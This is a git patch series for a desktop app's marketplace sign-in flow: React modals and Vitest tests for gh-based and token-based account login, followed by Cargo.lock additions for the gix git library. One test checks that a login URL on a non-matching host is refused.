    ); } diff --git a/app/src/components/marketplace/AddAccountModal.test.tsx b/app/src/components/marketplace/AddAccountModal.test.tsx new file mode 100644 index 0000000..a00e4a0 --- /dev/null +++ b/app/src/components/marketplace/AddAccountModal.test.tsx @@ -0,0 +1,77 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { Project } from "../../lib/types"; + +const marketplaceGhHostAvailable = vi.fn(); +const addMarketplaceGhHostAccount = vi.fn(); +const addMarketplaceTokenAccount = vi.fn(); +const getSettings = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + marketplaceGhHostAvailable: () => marketplaceGhHostAvailable(), + addMarketplaceGhHostAccount: (...a: unknown[]) => addMarketplaceGhHostAccount(...a), + addMarketplaceTokenAccount: (...a: unknown[]) => addMarketplaceTokenAccount(...a), + getSettings: () => getSettings(), +})); +vi.mock("./GhContainerLoginModal", () => ({ + default: ({ projectId }: { projectId: string }) =>
    container login for {projectId}
    , +})); + +import AddAccountModal from "./AddAccountModal"; + +const running = { id: "p1", name: "api", status: "running", container_id: "c1" } as unknown as Project; + +describe("AddAccountModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + getSettings.mockResolvedValue({ marketplace_accounts: [] }); + useAppState.setState({ projects: [running], toasts: [] }); + }); + + it("uses host gh when available", async () => { + marketplaceGhHostAvailable.mockResolvedValue(true); + addMarketplaceGhHostAccount.mockResolvedValue({ id: "a1" }); + const onClose = vi.fn(); + render(); + expect(await screen.findByText(/gh is installed on this computer/)).toBeInTheDocument(); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Personal" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + await waitFor(() => expect(addMarketplaceGhHostAccount).toHaveBeenCalledWith("Personal", "github.com")); + await waitFor(() => expect(onClose).toHaveBeenCalled()); + }); + + it("falls back to gh in a running container", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + render(); + expect(await screen.findByLabelText("Run gh in")).toBeInTheDocument(); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Work" } }); + fireEvent.click(screen.getByRole("button", { name: "Sign in" })); + expect(screen.getByText("container login for p1")).toBeInTheDocument(); + }); + + it("adds a token account for any host", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + addMarketplaceTokenAccount.mockResolvedValue({ id: "a2" }); + render(); + fireEvent.click(await screen.findByRole("radio", { name: "Access token" })); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Gitea" } }); + fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } }); + fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + await waitFor(() => + expect(addMarketplaceTokenAccount).toHaveBeenCalledWith("Gitea", "repo.anhonesthost.net", "test-token-not-real"), + ); + }); + + it("shows a validation error from the backend", async () => { + marketplaceGhHostAvailable.mockResolvedValue(false); + addMarketplaceTokenAccount.mockRejectedValue("The token was rejected by repo.anhonesthost.net (HTTP 401)"); + render(); + fireEvent.click(await screen.findByRole("radio", { name: "Access token" })); + fireEvent.change(screen.getByLabelText("Label"), { target: { value: "G" } }); + fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } }); + fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } }); + fireEvent.click(screen.getByRole("button", { name: "Add account" })); + expect(await screen.findByText(/HTTP 401/)).toBeInTheDocument(); + }); +}); diff --git a/app/src/components/marketplace/AddAccountModal.tsx b/app/src/components/marketplace/AddAccountModal.tsx new file mode 100644 index 0000000..efcf76e --- /dev/null +++ b/app/src/components/marketplace/AddAccountModal.tsx @@ -0,0 +1,190 @@ +import { useEffect, useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import SegmentedControl from "../ui/SegmentedControl"; +import Field, { inputClass, selectClass } from "../ui/Field"; +import { + addMarketplaceGhHostAccount, + addMarketplaceTokenAccount, + getSettings, + marketplaceGhHostAvailable, +} from "../../lib/tauri-commands"; +import { useAppState } from "../../store/appState"; +import GhContainerLoginModal from "./GhContainerLoginModal"; + +type Method = "gh" | "token"; + +interface Props { + onClose: () => void; +} + +export default function AddAccountModal({ onClose }: Props) { + const projects = useAppState((s) => s.projects); + const setAppSettings = useAppState((s) => s.setAppSettings); + const runnable = projects.filter((p) => p.status === "running" && p.container_id); + + const [method, setMethod] = useState("gh"); + const [hostGh, setHostGh] = useState(null); + const [label, setLabel] = useState(""); + const [host, setHost] = useState("github.com"); + const [token, setToken] = useState(""); + const [projectId, setProjectId] = useState(runnable[0]?.id ?? ""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const [containerLogin, setContainerLogin] = useState(false); + + useEffect(() => { + let cancelled = false; + marketplaceGhHostAvailable() + .then((v) => { + if (!cancelled) setHostGh(v); + }) + .catch(() => { + if (!cancelled) setHostGh(false); + }); + return () => { + cancelled = true; + }; + }, []); + + const reloadSettings = async () => setAppSettings(await getSettings()); + + const finish = async () => { + await reloadSettings(); + onClose(); + }; + + const submit = async () => { + setError(null); + if (method === "gh" && !hostGh) { + setContainerLogin(true); + return; + } + setBusy(true); + try { + if (method === "gh") { + await addMarketplaceGhHostAccount(label.trim(), host.trim()); + } else { + const t = token.trim(); + setToken(""); + await addMarketplaceTokenAccount(label.trim(), host.trim(), t); + } + await finish(); + } catch (e) { + setError(typeof e === "string" ? e : String(e)); + } finally { + setBusy(false); + } + }; + + const hostValid = /^[A-Za-z0-9.-]+(:[0-9]+)?$/.test(host.trim()); + const needsContainer = method === "gh" && hostGh === false; + const canSubmit = + !busy && + hostGh !== null && + label.trim() !== "" && + hostValid && + (method === "gh" ? !needsContainer || projectId !== "" : token.trim() !== ""); + + if (containerLogin) { + const project = runnable.find((p) => p.id === projectId); + return ( + void finish()} + /> + ); + } + + return ( + + + + + } + > +
    + + label="Sign-in method" + value={method} + onChange={(m) => { + setMethod(m); + setError(null); + }} + segments={[ + { value: "gh", label: "GitHub via gh" }, + { value: "token", label: "Access token" }, + ]} + /> + + {(id) => ( + setLabel(e.target.value)} className={inputClass} placeholder="Work GitHub" /> + )} + + + {(id) => setHost(e.target.value)} className={inputClass} />} + + {method === "gh" && hostGh === true && ( +

    + gh is installed on this computer. Triple-C asks it for a token each time it fetches, so signing out of gh + also signs this account out. If gh is not logged in yet, run gh auth login first. +

    + )} + {needsContainer && + (runnable.length === 0 ? ( +

    + gh is not installed on this computer. Start a project so gh can run in its container, or use an access token. +

    + ) : ( + + {(id) => ( + + )} + + ))} + {method === "token" && ( + + {(id) => ( + setToken(e.target.value)} + className={inputClass} + /> + )} + + )} + {error &&

    {error}

    } +
    +     + ); +} diff --git a/app/src/components/marketplace/GhContainerLoginModal.test.tsx b/app/src/components/marketplace/GhContainerLoginModal.test.tsx new file mode 100644 index 0000000..80cc00f --- /dev/null +++ b/app/src/components/marketplace/GhContainerLoginModal.test.tsx @@ -0,0 +1,72 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { act, fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const startMarketplaceGhContainerLogin = vi.fn(); +const cancelMarketplaceGhLogin = vi.fn(); +const openUrlExternal = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + startMarketplaceGhContainerLogin: (...a: unknown[]) => startMarketplaceGhContainerLogin(...a), + cancelMarketplaceGhLogin: () => cancelMarketplaceGhLogin(), + openUrlExternal: (u: string) => openUrlExternal(u), +})); + +const handlers = new Map void>(); +vi.mock("@tauri-apps/api/event", () => ({ + listen: vi.fn(async (name: string, cb: (e: { payload: unknown }) => void) => { + handlers.set(name, cb); + return vi.fn(); + }), +})); + +import GhContainerLoginModal from "./GhContainerLoginModal"; + +describe("GhContainerLoginModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + handlers.clear(); + }); + + it("shows the device code, opens the URL, and finishes", async () => { + let resolve!: (v: unknown) => void; + startMarketplaceGhContainerLogin.mockReturnValue(new Promise((r) => (resolve = r))); + const onDone = vi.fn(); + render( + , + ); + await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true)); + await waitFor(() => expect(startMarketplaceGhContainerLogin).toHaveBeenCalledWith("Work", "github.com", "p1")); + + act(() => + handlers.get("marketplace-gh-login-code")!({ + payload: { account_id: "unknown-yet", code: "ABCD-1234", url: "https://github.com/login/device" }, + }), + ); + expect(screen.getByText("ABCD-1234")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Open GitHub" })); + expect(openUrlExternal).toHaveBeenCalledWith("https://github.com/login/device"); + + await act(async () => resolve({ id: "acc9", label: "Work", host: "github.com", method: "gh_container", username: "me" })); + await waitFor(() => expect(onDone).toHaveBeenCalled()); + }); + + it("refuses to open a non-GitHub URL from the container", async () => { + startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {})); + render(); + await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true)); + act(() => + handlers.get("marketplace-gh-login-code")!({ + payload: { account_id: "x", code: "ABCD-1234", url: "https://evil.example/login" }, + }), + ); + expect(screen.queryByRole("button", { name: "Open GitHub" })).not.toBeInTheDocument(); + }); + + it("cancels", async () => { + startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {})); + const onClose = vi.fn(); + render(); + fireEvent.click(await screen.findByRole("button", { name: "Cancel sign-in" })); + expect(cancelMarketplaceGhLogin).toHaveBeenCalled(); + expect(onClose).toHaveBeenCalled(); + }); +}); diff --git a/app/src/components/marketplace/GhContainerLoginModal.tsx b/app/src/components/marketplace/GhContainerLoginModal.tsx new file mode 100644 index 0000000..33f9bad --- /dev/null +++ b/app/src/components/marketplace/GhContainerLoginModal.tsx @@ -0,0 +1,158 @@ +import { useEffect, useRef, useState } from "react"; +import { listen, type UnlistenFn } from "@tauri-apps/api/event"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import StatusIndicator from "../ui/StatusIndicator"; +import { + cancelMarketplaceGhLogin, + openUrlExternal, + startMarketplaceGhContainerLogin, +} from "../../lib/tauri-commands"; +import type { MarketplaceAccount } from "../../lib/types"; + +interface Props { + label: string; + host: string; + projectId: string; + projectName: string; + onClose: () => void; + onDone: (account: MarketplaceAccount) => void; +} + +interface CodeEvent { + account_id: string; + code: string; + url: string; +} +interface OutputEvent { + account_id: string; + chunk: string; +} + +const MAX_OUTPUT = 8000; + +/** Only open device-login pages on the host being signed in to. */ +function safeDeviceUrl(url: string, host: string): string | null { + try { + const u = new URL(url); + return u.protocol === "https:" && u.hostname === host ? u.toString() : null; + } catch { + return null; + } +} + +/** + * Drives `gh auth login --web` inside a running container. The command only + * resolves when the login finishes, so the new account's id is unknown while it + * runs; the modal accepts every gh-login event while open. The backend allows + * one gh login at a time, so there is never another flow's event to confuse. + */ +export default function GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone }: Props) { + const [code, setCode] = useState(null); + const [url, setUrl] = useState(null); + const [output, setOutput] = useState(""); + const [error, setError] = useState(null); + const [running, setRunning] = useState(true); + const started = useRef(false); + + useEffect(() => { + let cancelled = false; + const unlisteners: UnlistenFn[] = []; + const register = async (name: string, handle: (p: T) => void) => { + const un = await listen(name, (e) => handle(e.payload)); + if (cancelled) un(); + else unlisteners.push(un); + }; + + void (async () => { + await register("marketplace-gh-login-code", (p) => { + setCode(p.code); + setUrl(p.url); + }); + await register("marketplace-gh-login-output", (p) => + setOutput((prev) => { + const next = prev + p.chunk; + return next.length > MAX_OUTPUT ? next.slice(next.length - MAX_OUTPUT) : next; + }), + ); + if (cancelled || started.current) return; + started.current = true; + try { + const account = await startMarketplaceGhContainerLogin(label, host, projectId); + if (!cancelled) { + setRunning(false); + onDone(account); + } + } catch (e) { + if (!cancelled) { + setRunning(false); + setError(typeof e === "string" ? e : String(e)); + } + } + })(); + + return () => { + cancelled = true; + for (const un of unlisteners) { + try { + un(); + } catch { + /* already gone */ + } + } + }; + // Runs once per modal instance; the props do not change while it is open. + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const cancel = () => { + void cancelMarketplaceGhLogin(); + onClose(); + }; + + const openable = url ? safeDeviceUrl(url, host) : null; + + return ( + + Cancel sign-in + + ) : ( + + ) + } + > +
    + {running && !code && } + {code && running && ( +
    +

    Enter this code on the GitHub device page:

    +

    {code}

    + {openable ? ( + + ) : ( + url &&

    The sign-in URL did not point at {host}; not opening it.

    + )} +
    + )} + {error &&

    {error}

    } + {output && ( + 
    +            {output}
+
    + )} +
    +     + ); +} -- 2.52.0 From e7ee62b456fdcce9ad0dcc638034cb1f040e7735 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:04:00 -0700 Subject: [PATCH 11/45] Marketplace: gix cache with credentialed fetch, pins and GitTree Anonymous fetches of private repos map to Auth, error text drops gix source locations and names the innermost network cause, and valid_branch is pub(crate) for the add form (pre-flight F1, F2, F13). Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/Cargo.lock | 1373 ++++++++++++++++++++++++- app/src-tauri/Cargo.toml | 4 + app/src-tauri/src/marketplace/git.rs | 648 ++++++++++++ app/src-tauri/src/marketplace/mod.rs | 1 + app/src-tauri/src/marketplace/tree.rs | 99 ++ 5 files changed, 2089 insertions(+), 36 deletions(-) create mode 100644 app/src-tauri/src/marketplace/git.rs diff --git a/app/src-tauri/Cargo.lock b/app/src-tauri/Cargo.lock index de2e13a..3cca5a6 100644 --- a/app/src-tauri/Cargo.lock +++ b/app/src-tauri/Cargo.lock @@ -67,6 +67,12 @@ dependencies = [ "alloc-no-stdlib", ] +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + [[package]] name = "android_system_properties" version = "0.1.5" @@ -82,6 +88,15 @@ version = "1.0.102" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" +[[package]] +name = "arc-swap" +version = "1.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c049c0be4daef0b145cb3555416b3b8ef5b7888a38aea1a3a155801fe7b0810b" +dependencies = [ + "rustversion", +] + [[package]] name = "argon2" version = "0.5.3" @@ -256,9 +271,32 @@ checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" [[package]] name = "autocfg" -version = "1.5.0" +version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "aws-lc-rs" +version = "1.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b281d307588d634de920874890732659e2e7672f72b5e10e81badc1a8a83621e" +dependencies = [ + "aws-lc-sys", + "zeroize", +] + +[[package]] +name = "aws-lc-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bff6c3b54fad79a2e60b8102caf565819711497c1f5f092f49508e2f5c31b27" +dependencies = [ + "cc", + "cmake", + "dunce", + "fs_extra", + "pkg-config", +] [[package]] name = "axum" @@ -327,6 +365,12 @@ version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + [[package]] name = "base64ct" version = "1.8.3" @@ -468,6 +512,17 @@ dependencies = [ "alloc-stdlib", ] +[[package]] +name = "bstr" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb31b46c14244e20ee9984b11bf5c992b91fb6939fea616e3512c8baecdbe5f" +dependencies = [ + "memchr", + "regex-automata", + "serde_core", +] + [[package]] name = "bumpalo" version = "3.20.2" @@ -575,6 +630,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" dependencies = [ "find-msvc-tools", + "jobserver", + "libc", "shlex", ] @@ -641,6 +698,24 @@ dependencies = [ "inout", ] +[[package]] +name = "clru" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "197fd99cb113a8d5d9b6376f3aa817f32c1078f2343b714fff7d2ca44fdf67d5" +dependencies = [ + "hashbrown 0.16.1", +] + +[[package]] +name = "cmake" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0f78a02292a74a88ac736019ab962ece0bc380e3f977bf72e376c5d78ff0678" +dependencies = [ + "cc", +] + [[package]] name = "combine" version = "4.6.7" @@ -726,6 +801,12 @@ dependencies = [ "libc", ] +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + [[package]] name = "cpufeatures" version = "0.2.17" @@ -905,6 +986,20 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "dashmap" +version = "6.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6361d5c062261c78a176addb82d4c821ae42bed6089de0e12603cd25de2059c" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown 0.14.5", + "lock_api", + "once_cell", + "parking_lot_core", +] + [[package]] name = "data-encoding" version = "2.10.0" @@ -922,6 +1017,46 @@ dependencies = [ "windows-sys 0.61.2", ] +[[package]] +name = "defmt" +version = "0.3.100" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0963443817029b2024136fc4dd07a5107eb8f977eaf18fcd1fdeb11306b64ad" +dependencies = [ + "defmt 1.1.1", +] + +[[package]] +name = "defmt" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2953bfe4f93bbd20cc71198842756f77d161884c99ebbabc41d80231ded88d1" +dependencies = [ + "bitflags 1.3.2", + "defmt-macros", +] + +[[package]] +name = "defmt-macros" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bad9c72e7ca2137e0dc3813245a0d282fd6daad32fd800af018306a9169b5fe8" +dependencies = [ + "defmt-parser", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "defmt-parser" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10d60334b3b2e7c9d91ef8150abfb6fa4c1c39ebbcf4a81c2e346aad939fee3e" +dependencies = [ + "thiserror 2.0.18", +] + [[package]] name = "deranged" version = "0.5.8" @@ -1167,6 +1302,20 @@ version = "1.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" +[[package]] +name = "encoding_rs" +version = "0.8.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e985e0451871ad22fb8d2b6b076e2028a502a0d3950998c2c5c0a4f9b5d9679" +dependencies = [ + "cfg-if", + "core_detect", + "multiversion_no_op", + "rustversion", + "scopeguard", + "simdutf8", +] + [[package]] name = "endi" version = "1.1.1" @@ -1243,10 +1392,22 @@ dependencies = [ ] [[package]] -name = "fastrand" -version = "2.3.0" +name = "faster-hex" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" +checksum = "04839bdf9d8c10f66806fad16b852fc72aab80873aebc3cb69d85b4fa41543ed" +dependencies = [ + "autocfg", + "defmt 0.3.100", + "heapless", + "serde", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" [[package]] name = "fdeflate" @@ -1279,13 +1440,12 @@ dependencies = [ [[package]] name = "filetime" -version = "0.2.27" +version = "0.2.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f98844151eee8917efc50bd9e8318cb963ae8b297431495d3f758616ea5c57db" +checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759" dependencies = [ "cfg-if", "libc", - "libredox", ] [[package]] @@ -1358,6 +1518,12 @@ dependencies = [ "percent-encoding", ] +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + [[package]] name = "futf" version = "0.1.5" @@ -1375,6 +1541,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" dependencies = [ "futures-core", + "futures-sink", ] [[package]] @@ -1675,6 +1842,810 @@ dependencies = [ "winapi", ] +[[package]] +name = "gix" +version = "0.88.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32d6dd6028308ad2f2662207506e396b97f9ec899f74bd537c0775248c774f21" +dependencies = [ + "gix-actor", + "gix-attributes", + "gix-command", + "gix-commitgraph", + "gix-config", + "gix-credentials", + "gix-date", + "gix-diff", + "gix-discover", + "gix-error", + "gix-features", + "gix-filter", + "gix-fs", + "gix-glob", + "gix-hash", + "gix-hashtable", + "gix-ignore", + "gix-index", + "gix-lock", + "gix-negotiate", + "gix-note", + "gix-object", + "gix-odb", + "gix-pack", + "gix-path", + "gix-pathspec", + "gix-prompt", + "gix-protocol", + "gix-quote", + "gix-ref", + "gix-refspec", + "gix-revision", + "gix-revwalk", + "gix-sec", + "gix-shallow", + "gix-submodule", + "gix-tempfile", + "gix-trace", + "gix-transport", + "gix-traverse", + "gix-url", + "gix-utils", + "gix-validate", + "gix-worktree", + "gix-worktree-stream", + "gix-zlib", + "nonempty", + "smallvec", +] + +[[package]] +name = "gix-actor" +version = "0.43.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e046e9a929e8e1f40f9a34f736408c4c079f9cf004429f3e718d270e847be96" +dependencies = [ + "bstr", + "gix-date", + "gix-error", +] + +[[package]] +name = "gix-attributes" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3d57bcf18768dc259868e335fae99a9063174178b78b00348603f0791cd780a" +dependencies = [ + "bstr", + "gix-error", + "gix-features", + "gix-glob", + "gix-path", + "gix-quote", + "gix-trace", + "smallvec", + "unicode-bom", +] + +[[package]] +name = "gix-bitmap" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e9d28a8333a322df5c4fdc7b86a9928965e50794523c0edff57d1fbf2a520cf" +dependencies = [ + "gix-error", +] + +[[package]] +name = "gix-chunk" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25303d07ce2b8f98aab48ce4251317d785a3208b7ed65698928e4a2f31889936" +dependencies = [ + "gix-error", +] + +[[package]] +name = "gix-command" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3c2e61f97adc08764060e9becb0c819d8f2ba27896434710e039ae57b1d2a7" +dependencies = [ + "bstr", + "gix-error", + "gix-path", + "gix-quote", + "gix-trace", +] + +[[package]] +name = "gix-commitgraph" +version = "0.40.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0462cbffd5828447f376559d397d9b29f1979dac3d980b5212b17fa174b174eb" +dependencies = [ + "bstr", + "gix-chunk", + "gix-error", + "gix-hash", + "memmap2", + "nonempty", +] + +[[package]] +name = "gix-config" +version = "0.61.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb2cb454dce2f1895cf9def1df8b0a6bbc579d86d8313bdf60f1ab429d52df12" +dependencies = [ + "bstr", + "gix-config-value", + "gix-error", + "gix-features", + "gix-glob", + "gix-path", + "gix-ref", + "gix-sec", + "gix-utils", + "smallvec", + "unicode-bom", +] + +[[package]] +name = "gix-config-value" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1894e816c774650b5157d965853b50d7e8f7137ea74055a6bac2f2ec051cf997" +dependencies = [ + "bitflags 2.11.0", + "bstr", + "gix-error", + "gix-path", + "libc", +] + +[[package]] +name = "gix-credentials" +version = "0.41.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3a9965e5bd5a1d75e835e4765e3900c0614878c9c9199272d6088640fecacb8" +dependencies = [ + "bstr", + "gix-command", + "gix-config-value", + "gix-date", + "gix-error", + "gix-path", + "gix-prompt", + "gix-quote", + "gix-sec", + "gix-trace", + "gix-url", +] + +[[package]] +name = "gix-date" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb8beceb16a77fb222923592864b94beb4ad4c2b175a7055c2cac6815ee0370a" +dependencies = [ + "bstr", + "gix-error", + "itoa", + "jiff", +] + +[[package]] +name = "gix-diff" +version = "0.68.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "939aee7bbc9f233de858839e865c82886e0baceb8f1fe792ea1703fa895f09e1" +dependencies = [ + "bstr", + "gix-error", + "gix-hash", + "gix-object", +] + +[[package]] +name = "gix-discover" +version = "0.56.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4476ba055ec5fbb05f59dd98380b596428da060beac5f9dccd7374302ad1fbfb" +dependencies = [ + "bstr", + "dunce", + "gix-error", + "gix-fs", + "gix-path", + "gix-ref", + "gix-sec", +] + +[[package]] +name = "gix-error" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4a5c4cd326ddfe7f046ad9eed05461c59af6ea98b681648bac73954317addd" +dependencies = [ + "bstr", +] + +[[package]] +name = "gix-features" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb3a430dbc02d6c5e30a9f92083459593495ea22a476e837d248b22d800eed80" +dependencies = [ + "bytes", + "crc32fast", + "crossbeam-channel", + "gix-path", + "gix-trace", + "gix-utils", + "libc", + "once_cell", + "parking_lot", + "prodash", + "walkdir", +] + +[[package]] +name = "gix-filter" +version = "0.35.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f31a39e2c9b04843709d1f72b2c39c98dc0ee591e2f67d21302dbfbd06d2956" +dependencies = [ + "bstr", + "encoding_rs", + "gix-attributes", + "gix-command", + "gix-error", + "gix-hash", + "gix-object", + "gix-packetline", + "gix-path", + "gix-quote", + "gix-trace", + "gix-utils", + "smallvec", +] + +[[package]] +name = "gix-fs" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0105ab1cef4542d092c27766d2daf1548fcbad7e460dc2208642c120bb19b3ad" +dependencies = [ + "bstr", + "gix-error", + "gix-features", + "gix-path", + "gix-utils", +] + +[[package]] +name = "gix-glob" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bba50803dea16646cafb9a2d67e95b8cdf5b21c7e8c45bcd18f38bafe02fb81f" +dependencies = [ + "bitflags 2.11.0", + "bstr", + "gix-features", + "gix-path", + "gix-utils", +] + +[[package]] +name = "gix-hash" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a22b6febaaee8546eb0c9dd21ecdd93aca269a6cb3897e1250f0f60933c0174" +dependencies = [ + "faster-hex", + "gix-error", + "gix-features", + "sha1dc", +] + +[[package]] +name = "gix-hashtable" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c55bff2f32f6f5a95bdd43e5e5e01b0656250cffbc48eda19db0afa3d73adf2f" +dependencies = [ + "gix-hash", + "hashbrown 0.17.1", + "parking_lot", +] + +[[package]] +name = "gix-ignore" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bfd910e271ecd1a20e4df4009a0d9d844a0c51ee5444aaa3fadd1b1b077930b" +dependencies = [ + "bstr", + "gix-glob", + "gix-path", + "gix-trace", + "unicode-bom", +] + +[[package]] +name = "gix-index" +version = "0.56.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfd5b484b5b4e218a5ac114f0982949f9bd7582ff67986665a0cf85895332433" +dependencies = [ + "bitflags 2.11.0", + "bstr", + "filetime", + "fnv", + "gix-bitmap", + "gix-error", + "gix-features", + "gix-fs", + "gix-hash", + "gix-lock", + "gix-object", + "gix-traverse", + "gix-utils", + "gix-validate", + "hashbrown 0.17.1", + "itoa", + "libc", + "memmap2", + "rustix", + "smallvec", +] + +[[package]] +name = "gix-lock" +version = "25.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd5ddfd0cc476fef744ac544783b96a9ff5d49f8de541e6e9d6d6002aa90720" +dependencies = [ + "gix-error", + "gix-tempfile", + "gix-utils", +] + +[[package]] +name = "gix-macros" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f11f5429ca73cc3758c9f53af56a9fba100a8701c5b4bc30e29b8b0b15288991" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "gix-negotiate" +version = "0.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72c2c0f64b64f435862c73a7f14767547781d7ca145aa9b273d12c6e55b55dd9" +dependencies = [ + "bitflags 2.11.0", + "gix-commitgraph", + "gix-date", + "gix-error", + "gix-hash", + "gix-object", + 